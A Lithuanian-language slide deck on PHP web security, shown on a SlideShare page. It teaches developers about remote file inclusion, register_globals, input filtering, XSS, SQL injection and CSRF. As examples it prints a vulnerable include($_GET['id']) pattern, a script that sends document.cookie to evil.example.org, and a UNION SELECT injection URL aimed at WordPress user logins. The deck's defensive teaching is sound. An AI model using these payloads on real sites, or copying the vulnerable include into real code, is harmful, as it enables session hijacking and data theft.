SlideShare ist ein Scribd-Unternehmen logo
1 von 21
Downloaden Sie, um offline zu lesen
PHP saugumas

        mano tikslas – ne parodyti pirštu, bet parodyti kryptį...



       kartais reikia ne tik sumanumo, bet ir paranojos jausmo...




PHP saugumas
Linas Gricius
               25 metai
               VDU Informatikos bakalauras
               tema: “XML taikymai turinio valdymo sistemose”




PHP saugumas
PHP saugumas
“mano TVS”. Dispatch metodas
➲   “kiek programuotojų –
    tiek ir turinio valdymo sistemų (TVS'ų)”

➲   Pamirštama apie saugumą

➲   Dažniausiai taikomas metodas – DISPATCH
➲   Pradedantieji nežino arba pamiršta apie saugumą:

         <?
              if (isset($_GET['id'])) {
                  include(quot;$_GET[id].phpquot;);
              }
         ?>

PHP saugumas
Dispatch metodas
 ➲    pavyzdyje paliekama laisvė įterpti svetimą kodą.
      Tereikia pasinaudoti atitinkama nuoroda, kad ir
                            pvz.

          remote_include.php?id=http://linas.gricius.net/index

  ➲ Labiau pažengusieji naudodami šį metodą gali
  susikurti sistemą, kurioje vienas skriptas priimtų ir
                  apdorotų užklausas.

            ➲   Nuorodos formavimo pavyzdys
                  http://www.bite.lt/plius/bendravimas
                 /klubai/2club.welcome/463-=(61705643



PHP saugumas
register_globals=ON | OFF?
➲   Jau nuo PHP 4.2.0, register_globals = OFF

       t.y. išjungti pagal nutylėjimą.

➲   Saugaus programavimo praktika reikalauja, kad kodas veiktų
    su išjungtu globalių kintamųjų palaikymu, vietoj to naudojant
    globalius masyvus ($_GET, $_POST, $_COOKIE, $_SES-
    SION, t.t.).

➲   Kodėl nedaudoti globalių? Nes bet koks kintamasis, pasiųstas
    per GET/POST/COOKIE masyvą yra sukuriamas globaliame
    masyve. Tai apsunkina saugumo užtikrinimą!!!

             Google! “register_globals exploit”

PHP saugumas
Gaunamo turinio filtravimas


  ➲   Save gerbiančio programuotojo galvos skausmas

   vartotojo formos duomenų filtravimas, iš svetimų šaltinių atėju-
              sios informacijos šaltinių filtravimas ir t.t.

           ➲    Kartais reikia ne tik sumanumo,
      bet ir paranojos jausmo, kad išvengtum problemų.




PHP saugumas
Gaunamo turinio filtravimas
➲   Kokie galimi veiksmai?:

    a) nieko nedaryti
    b) filtruoti formas
    c) filtruoti viską, kas gaunama iš vartotojų
    d) susirgti paranoja ir filtruoti visą gaunamą ir
    rodomą turinį

➲   O jei rimtai – tai pasirašyti funkcijų rinkinį, kuris
    būtų atsakingas už filtravimą


PHP saugumas
Gaunamo turinio filtravimas
➲   Paskutinė mano girdėta įdomesnė ataka buvo vykdyta per sis-
    temos RSS rodymo sistemą (kažkas pamiršo filtruoti rodomą turinį)
➲   Tai pati populiariausia saugumo problema

➲   Filtruokit ir tikrinkit viską! Pradedant gaunamais GET kinta-
    maisiais, baigiant net RSS naujienų antraštės patikrinimu ar nėra
    HTML atakos požymių.




PHP saugumas
Eksperimanetas: vagiam sau
                                  sainukus
Kad nebūtų nuobodu

               Eksperimentas!

   Ruošdamasis pranešimui, nutariau pabandyti kaip vagiami “sausainukai”


                           Google!
<script>
    document.location =
        'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie
</script>




PHP saugumas
Eksperimanetas: vagiam sausainukus

➲   kas labiausiai pažeidžiama? Svetainės, kurios
    naudoja informaciją, kuri ateina iš išorės... (foru-
    mai, rss ir t.t.)


               ➲   Goole! - “html injection”




PHP saugumas
Klaidų pranešimai ir apdorojimas
                 ➲   Programuojant geriausia naudoti

                          error_reporting(E_ALL)

                                   o pabaigus:

                         error_reporting(E_NONE)


➲   Patarimas: naudokite klaidų apdorijomo sistemą. Taip bent
    jau sumažinama tikimybė, kad nežinot kas pas jus sistemoje
    darosi

    (klaidų pranešimų saugojimas, siuntimas el.paštu, lankytojų informavimas)


PHP saugumas
Sistemos su vidiniais vartotojais
➲   Prisijungimo sistemos patikimumas

➲   Ar saugo nuo slaptažodžių perrinkimo atakos?

➲   Ar tikrai jungiamasi iš jūsų svetainės?

➲   Saugodami “sausainukus”, paskaninkit juos informacija apie
    lankytojo IP ir naršyklę. Taip sumažinsite riziką, kad bus
    pasinaudota pavogta sesijos informacija

➲   Gal verta pamastyti apie silpnų slaptažodžių tikrinimą?

➲   Populiarėja reikalavimas įvesti simbolius, kuriuos vartotojui
    rodo sugeneruotas piešinukas. Gal verta?

PHP saugumas
SQL ataka
➲   Vienas iš pirmų dalykų, ką teko skaityti apie
    saugumą

                       ➲   Kaip tai atrodo?
        index.php?cat=%2527%20UNION%20SELECT%20user_login
                        %20FROM%20wp_users

                        SQL ataka prieš WordPress


➲   Tikrinkit ką gaunate iš lankytojų!!!



PHP saugumas
Shared hosting
➲   “didelėj fermoj – daug kiaulių”
➲   svarbesni duomenys turi būti koduojami net ir
    saugant DB
➲   pasikonsultuokit su administratoriais dėl bylų ir
    katalogų savybių (permissions)
    Google! “linux file permissions”

➲   Reikalaukit saugumo iš administratorių! safe_mode,
    open_base_dir ir t.t.

    Sunkiau, bet saugiau!


PHP saugumas
Shared hosting




                Lyrinis nukrypimas




                                     Sesijos!




PHP saugumas
Advanced
➲   Cross-site request forgery (CSRF)
    http://www.squarefree.com/securitytips/web-developers.html#CSRF

➲   HTTP request spoofing
    imituojam užklausą

➲   HTTP request split
    filtruoti spec. simbolius!!!
    http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf




PHP saugumas
Ko galėjau taip ir nepapasakoti?
➲   Spec. simbolių filtravimas
➲   Socialinis veiksnys
➲   GET ar POST naudoti formoje?
➲   <img ...> panaudojimas atakose
➲   AJAX duomenų apsaugojimas ir saugumas




PHP saugumas
Literatūra
➲   http://shiflett.org/articles/security-corner-sep2004 - Chris Shiflett: Security
    Corner: Secure Design

➲   http://lt.php.net/register_globals - PHP: Using Register Globals - Manual

➲   http://phpsec.org/projects/guide/ - Register Globals, Data Filtering, Error Re-
    porting, Spoofed Form Submissions, Spoofed HTTP Requests, Cross-Site Script-
    ing, Cross-Site Request Forgeries

➲   http://www.tux.org/~peterw/csrf.txt - Cross-Site Request Forgeries

➲   http://www.sklar.com/page/article/owasp-top-ten - PHP and the OWASP Top
    Ten Security Vulnerabilities




PHP saugumas
Literatūra
➲   http://jibbering.com/2002/4/httprequest.html - Using the XML HTTP Request
    object

➲   http://www.devx.com/webdev/Article/28861 - Using the XMLHttpRequest Ob-
    ject and AJAX to Spy On You

➲   http://secureme.blogspot.com/2005/10/ajax-security.html - * secureme: AJAX
    Security?

➲   http://securephp.damonkohler.com/index.php/Email_Injection – mail()
    saugumas

➲   http://securephp.damonkohler.com/index.php/Cross_Site_Scripting_Attacks –
    CSS atakos

➲   http://www.cgisecurity.com/articles/xss-faq.shtml – XSS atakos




PHP saugumas
Ačiū už dėmesį.

          Klausimai, diskusijos



PHP saugumas

Weitere ähnliche Inhalte

Andere mochten auch

Redes sociais a favor da aprendizagem
Redes sociais a favor da aprendizagemRedes sociais a favor da aprendizagem
Redes sociais a favor da aprendizagemMirian Pereira
 
nFusion Capabilities
nFusion CapabilitiesnFusion Capabilities
nFusion Capabilitiesbrianmonnone
 
Femra Nen Mbrojtjen E Islamit
Femra Nen Mbrojtjen E IslamitFemra Nen Mbrojtjen E Islamit
Femra Nen Mbrojtjen E Islamitguest35ba5
 
Els Panellets
Els PanelletsEls Panellets
Els Panelletsinmagon5
 
1984年Inflation
1984年Inflation1984年Inflation
1984年Inflationmkalina
 
Ukrainian television in 5 years
Ukrainian television in 5 yearsUkrainian television in 5 years
Ukrainian television in 5 yearsprofeoua
 
Spiders
SpidersSpiders
Spidersnilliy
 
Terrenos de 900 m2 en tenextepec atlixco puebla
Terrenos de 900 m2 en tenextepec atlixco pueblaTerrenos de 900 m2 en tenextepec atlixco puebla
Terrenos de 900 m2 en tenextepec atlixco pueblaEdilberto Mucino
 
Skolska Soustava
Skolska SoustavaSkolska Soustava
Skolska SoustavaJiří Husa
 
PR-Info.Ru:Презентация МСР
PR-Info.Ru:Презентация МСРPR-Info.Ru:Презентация МСР
PR-Info.Ru:Презентация МСРPRInfo
 
Pekebok Presentasjon
Pekebok PresentasjonPekebok Presentasjon
Pekebok Presentasjonritaloef
 
Norma Estructuras De Acero
 Norma Estructuras De Acero Norma Estructuras De Acero
Norma Estructuras De Aceronono pi
 
Esofago Ingestione Corpi Estranei
Esofago   Ingestione Corpi EstraneiEsofago   Ingestione Corpi Estranei
Esofago Ingestione Corpi EstraneiAndrea Scotti
 
Beat the Crisis
Beat the CrisisBeat the Crisis
Beat the Crisisdvguest
 
O Preço da Copa 2014
O Preço da Copa 2014O Preço da Copa 2014
O Preço da Copa 2014Ana Keizy
 
Proceso de carga de archivo plano a sql server 2005 2008 2011
Proceso de carga de archivo plano a sql server 2005 2008 2011Proceso de carga de archivo plano a sql server 2005 2008 2011
Proceso de carga de archivo plano a sql server 2005 2008 2011Julián Castiblanco
 

Andere mochten auch (20)

Redes sociais a favor da aprendizagem
Redes sociais a favor da aprendizagemRedes sociais a favor da aprendizagem
Redes sociais a favor da aprendizagem
 
nFusion Capabilities
nFusion CapabilitiesnFusion Capabilities
nFusion Capabilities
 
Femra Nen Mbrojtjen E Islamit
Femra Nen Mbrojtjen E IslamitFemra Nen Mbrojtjen E Islamit
Femra Nen Mbrojtjen E Islamit
 
Els Panellets
Els PanelletsEls Panellets
Els Panellets
 
1984年Inflation
1984年Inflation1984年Inflation
1984年Inflation
 
Ukrainian television in 5 years
Ukrainian television in 5 yearsUkrainian television in 5 years
Ukrainian television in 5 years
 
Hgal2
Hgal2Hgal2
Hgal2
 
Spiders
SpidersSpiders
Spiders
 
Terrenos de 900 m2 en tenextepec atlixco puebla
Terrenos de 900 m2 en tenextepec atlixco pueblaTerrenos de 900 m2 en tenextepec atlixco puebla
Terrenos de 900 m2 en tenextepec atlixco puebla
 
Skolska Soustava
Skolska SoustavaSkolska Soustava
Skolska Soustava
 
Earth
EarthEarth
Earth
 
PR-Info.Ru:Презентация МСР
PR-Info.Ru:Презентация МСРPR-Info.Ru:Презентация МСР
PR-Info.Ru:Презентация МСР
 
Portfolio
PortfolioPortfolio
Portfolio
 
Sistema ios
Sistema iosSistema ios
Sistema ios
 
Pekebok Presentasjon
Pekebok PresentasjonPekebok Presentasjon
Pekebok Presentasjon
 
Norma Estructuras De Acero
 Norma Estructuras De Acero Norma Estructuras De Acero
Norma Estructuras De Acero
 
Esofago Ingestione Corpi Estranei
Esofago   Ingestione Corpi EstraneiEsofago   Ingestione Corpi Estranei
Esofago Ingestione Corpi Estranei
 
Beat the Crisis
Beat the CrisisBeat the Crisis
Beat the Crisis
 
O Preço da Copa 2014
O Preço da Copa 2014O Preço da Copa 2014
O Preço da Copa 2014
 
Proceso de carga de archivo plano a sql server 2005 2008 2011
Proceso de carga de archivo plano a sql server 2005 2008 2011Proceso de carga de archivo plano a sql server 2005 2008 2011
Proceso de carga de archivo plano a sql server 2005 2008 2011
 

Ähnlich wie Php Saugumas Linas Gricius

Laboratoriniu darbu aprasymas
Laboratoriniu darbu aprasymasLaboratoriniu darbu aprasymas
Laboratoriniu darbu aprasymasDonatas Bukelis
 
Algirdas Noreika WEB konferencija
Algirdas Noreika WEB konferencijaAlgirdas Noreika WEB konferencija
Algirdas Noreika WEB konferencijaDarius Leskauskas
 
Code academy php-kursų-programa
Code academy php-kursų-programaCode academy php-kursų-programa
Code academy php-kursų-programaCodeAcademy.lt
 
Say Hello to TypeScript (LT)
Say Hello to TypeScript (LT)Say Hello to TypeScript (LT)
Say Hello to TypeScript (LT)Paulius Mačiulis
 
How to increase company cybersecurity / Kaip padidinti įmonės kibernetinį sau...
How to increase company cybersecurity / Kaip padidinti įmonės kibernetinį sau...How to increase company cybersecurity / Kaip padidinti įmonės kibernetinį sau...
How to increase company cybersecurity / Kaip padidinti įmonės kibernetinį sau...Darius Povilaitis
 
Internet Explorer 9 Apžvalga Programuotojams
Internet Explorer 9 Apžvalga ProgramuotojamsInternet Explorer 9 Apžvalga Programuotojams
Internet Explorer 9 Apžvalga ProgramuotojamsTomas Dabasinskas
 
HTTP užklausų kešavimas naudojant Varnish
HTTP užklausų kešavimas naudojant VarnishHTTP užklausų kešavimas naudojant Varnish
HTTP užklausų kešavimas naudojant VarnishPaulius Leščinskas
 

Ähnlich wie Php Saugumas Linas Gricius (10)

Laboratoriniu darbu aprasymas
Laboratoriniu darbu aprasymasLaboratoriniu darbu aprasymas
Laboratoriniu darbu aprasymas
 
Algirdas Noreika WEB konferencija
Algirdas Noreika WEB konferencijaAlgirdas Noreika WEB konferencija
Algirdas Noreika WEB konferencija
 
Povilas (skaitykit.lt)
Povilas (skaitykit.lt)Povilas (skaitykit.lt)
Povilas (skaitykit.lt)
 
Code academy php-kursų-programa
Code academy php-kursų-programaCode academy php-kursų-programa
Code academy php-kursų-programa
 
Audrys Kažukauskas
Audrys KažukauskasAudrys Kažukauskas
Audrys Kažukauskas
 
Say Hello to TypeScript (LT)
Say Hello to TypeScript (LT)Say Hello to TypeScript (LT)
Say Hello to TypeScript (LT)
 
How to increase company cybersecurity / Kaip padidinti įmonės kibernetinį sau...
How to increase company cybersecurity / Kaip padidinti įmonės kibernetinį sau...How to increase company cybersecurity / Kaip padidinti įmonės kibernetinį sau...
How to increase company cybersecurity / Kaip padidinti įmonės kibernetinį sau...
 
Internet Explorer 9 Apžvalga Programuotojams
Internet Explorer 9 Apžvalga ProgramuotojamsInternet Explorer 9 Apžvalga Programuotojams
Internet Explorer 9 Apžvalga Programuotojams
 
HTTP užklausų kešavimas naudojant Varnish
HTTP užklausų kešavimas naudojant VarnishHTTP užklausų kešavimas naudojant Varnish
HTTP užklausų kešavimas naudojant Varnish
 
IT Karjeros Receptai
IT Karjeros ReceptaiIT Karjeros Receptai
IT Karjeros Receptai
 

Php Saugumas Linas Gricius

  • 1. PHP saugumas mano tikslas – ne parodyti pirštu, bet parodyti kryptį... kartais reikia ne tik sumanumo, bet ir paranojos jausmo... PHP saugumas
  • 2. Linas Gricius 25 metai VDU Informatikos bakalauras tema: “XML taikymai turinio valdymo sistemose” PHP saugumas
  • 4. “mano TVS”. Dispatch metodas ➲ “kiek programuotojų – tiek ir turinio valdymo sistemų (TVS'ų)” ➲ Pamirštama apie saugumą ➲ Dažniausiai taikomas metodas – DISPATCH ➲ Pradedantieji nežino arba pamiršta apie saugumą: <? if (isset($_GET['id'])) { include(quot;$_GET[id].phpquot;); } ?> PHP saugumas
  • 5. Dispatch metodas ➲ pavyzdyje paliekama laisvė įterpti svetimą kodą. Tereikia pasinaudoti atitinkama nuoroda, kad ir pvz. remote_include.php?id=http://linas.gricius.net/index ➲ Labiau pažengusieji naudodami šį metodą gali susikurti sistemą, kurioje vienas skriptas priimtų ir apdorotų užklausas. ➲ Nuorodos formavimo pavyzdys http://www.bite.lt/plius/bendravimas /klubai/2club.welcome/463-=(61705643 PHP saugumas
  • 6. register_globals=ON | OFF? ➲ Jau nuo PHP 4.2.0, register_globals = OFF t.y. išjungti pagal nutylėjimą. ➲ Saugaus programavimo praktika reikalauja, kad kodas veiktų su išjungtu globalių kintamųjų palaikymu, vietoj to naudojant globalius masyvus ($_GET, $_POST, $_COOKIE, $_SES- SION, t.t.). ➲ Kodėl nedaudoti globalių? Nes bet koks kintamasis, pasiųstas per GET/POST/COOKIE masyvą yra sukuriamas globaliame masyve. Tai apsunkina saugumo užtikrinimą!!! Google! “register_globals exploit” PHP saugumas
  • 7. Gaunamo turinio filtravimas ➲ Save gerbiančio programuotojo galvos skausmas vartotojo formos duomenų filtravimas, iš svetimų šaltinių atėju- sios informacijos šaltinių filtravimas ir t.t. ➲ Kartais reikia ne tik sumanumo, bet ir paranojos jausmo, kad išvengtum problemų. PHP saugumas
  • 8. Gaunamo turinio filtravimas ➲ Kokie galimi veiksmai?: a) nieko nedaryti b) filtruoti formas c) filtruoti viską, kas gaunama iš vartotojų d) susirgti paranoja ir filtruoti visą gaunamą ir rodomą turinį ➲ O jei rimtai – tai pasirašyti funkcijų rinkinį, kuris būtų atsakingas už filtravimą PHP saugumas
  • 9. Gaunamo turinio filtravimas ➲ Paskutinė mano girdėta įdomesnė ataka buvo vykdyta per sis- temos RSS rodymo sistemą (kažkas pamiršo filtruoti rodomą turinį) ➲ Tai pati populiariausia saugumo problema ➲ Filtruokit ir tikrinkit viską! Pradedant gaunamais GET kinta- maisiais, baigiant net RSS naujienų antraštės patikrinimu ar nėra HTML atakos požymių. PHP saugumas
  • 10. Eksperimanetas: vagiam sau sainukus Kad nebūtų nuobodu Eksperimentas! Ruošdamasis pranešimui, nutariau pabandyti kaip vagiami “sausainukai” Google! <script> document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie </script> PHP saugumas
  • 11. Eksperimanetas: vagiam sausainukus ➲ kas labiausiai pažeidžiama? Svetainės, kurios naudoja informaciją, kuri ateina iš išorės... (foru- mai, rss ir t.t.) ➲ Goole! - “html injection” PHP saugumas
  • 12. Klaidų pranešimai ir apdorojimas ➲ Programuojant geriausia naudoti error_reporting(E_ALL) o pabaigus: error_reporting(E_NONE) ➲ Patarimas: naudokite klaidų apdorijomo sistemą. Taip bent jau sumažinama tikimybė, kad nežinot kas pas jus sistemoje darosi (klaidų pranešimų saugojimas, siuntimas el.paštu, lankytojų informavimas) PHP saugumas
  • 13. Sistemos su vidiniais vartotojais ➲ Prisijungimo sistemos patikimumas ➲ Ar saugo nuo slaptažodžių perrinkimo atakos? ➲ Ar tikrai jungiamasi iš jūsų svetainės? ➲ Saugodami “sausainukus”, paskaninkit juos informacija apie lankytojo IP ir naršyklę. Taip sumažinsite riziką, kad bus pasinaudota pavogta sesijos informacija ➲ Gal verta pamastyti apie silpnų slaptažodžių tikrinimą? ➲ Populiarėja reikalavimas įvesti simbolius, kuriuos vartotojui rodo sugeneruotas piešinukas. Gal verta? PHP saugumas
  • 14. SQL ataka ➲ Vienas iš pirmų dalykų, ką teko skaityti apie saugumą ➲ Kaip tai atrodo? index.php?cat=%2527%20UNION%20SELECT%20user_login %20FROM%20wp_users SQL ataka prieš WordPress ➲ Tikrinkit ką gaunate iš lankytojų!!! PHP saugumas
  • 15. Shared hosting ➲ “didelėj fermoj – daug kiaulių” ➲ svarbesni duomenys turi būti koduojami net ir saugant DB ➲ pasikonsultuokit su administratoriais dėl bylų ir katalogų savybių (permissions) Google! “linux file permissions” ➲ Reikalaukit saugumo iš administratorių! safe_mode, open_base_dir ir t.t. Sunkiau, bet saugiau! PHP saugumas
  • 16. Shared hosting Lyrinis nukrypimas Sesijos! PHP saugumas
  • 17. Advanced ➲ Cross-site request forgery (CSRF) http://www.squarefree.com/securitytips/web-developers.html#CSRF ➲ HTTP request spoofing imituojam užklausą ➲ HTTP request split filtruoti spec. simbolius!!! http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf PHP saugumas
  • 18. Ko galėjau taip ir nepapasakoti? ➲ Spec. simbolių filtravimas ➲ Socialinis veiksnys ➲ GET ar POST naudoti formoje? ➲ <img ...> panaudojimas atakose ➲ AJAX duomenų apsaugojimas ir saugumas PHP saugumas
  • 19. Literatūra ➲ http://shiflett.org/articles/security-corner-sep2004 - Chris Shiflett: Security Corner: Secure Design ➲ http://lt.php.net/register_globals - PHP: Using Register Globals - Manual ➲ http://phpsec.org/projects/guide/ - Register Globals, Data Filtering, Error Re- porting, Spoofed Form Submissions, Spoofed HTTP Requests, Cross-Site Script- ing, Cross-Site Request Forgeries ➲ http://www.tux.org/~peterw/csrf.txt - Cross-Site Request Forgeries ➲ http://www.sklar.com/page/article/owasp-top-ten - PHP and the OWASP Top Ten Security Vulnerabilities PHP saugumas
  • 20. Literatūra ➲ http://jibbering.com/2002/4/httprequest.html - Using the XML HTTP Request object ➲ http://www.devx.com/webdev/Article/28861 - Using the XMLHttpRequest Ob- ject and AJAX to Spy On You ➲ http://secureme.blogspot.com/2005/10/ajax-security.html - * secureme: AJAX Security? ➲ http://securephp.damonkohler.com/index.php/Email_Injection – mail() saugumas ➲ http://securephp.damonkohler.com/index.php/Cross_Site_Scripting_Attacks – CSS atakos ➲ http://www.cgisecurity.com/articles/xss-faq.shtml – XSS atakos PHP saugumas
  • 21. Ačiū už dėmesį. Klausimai, diskusijos PHP saugumas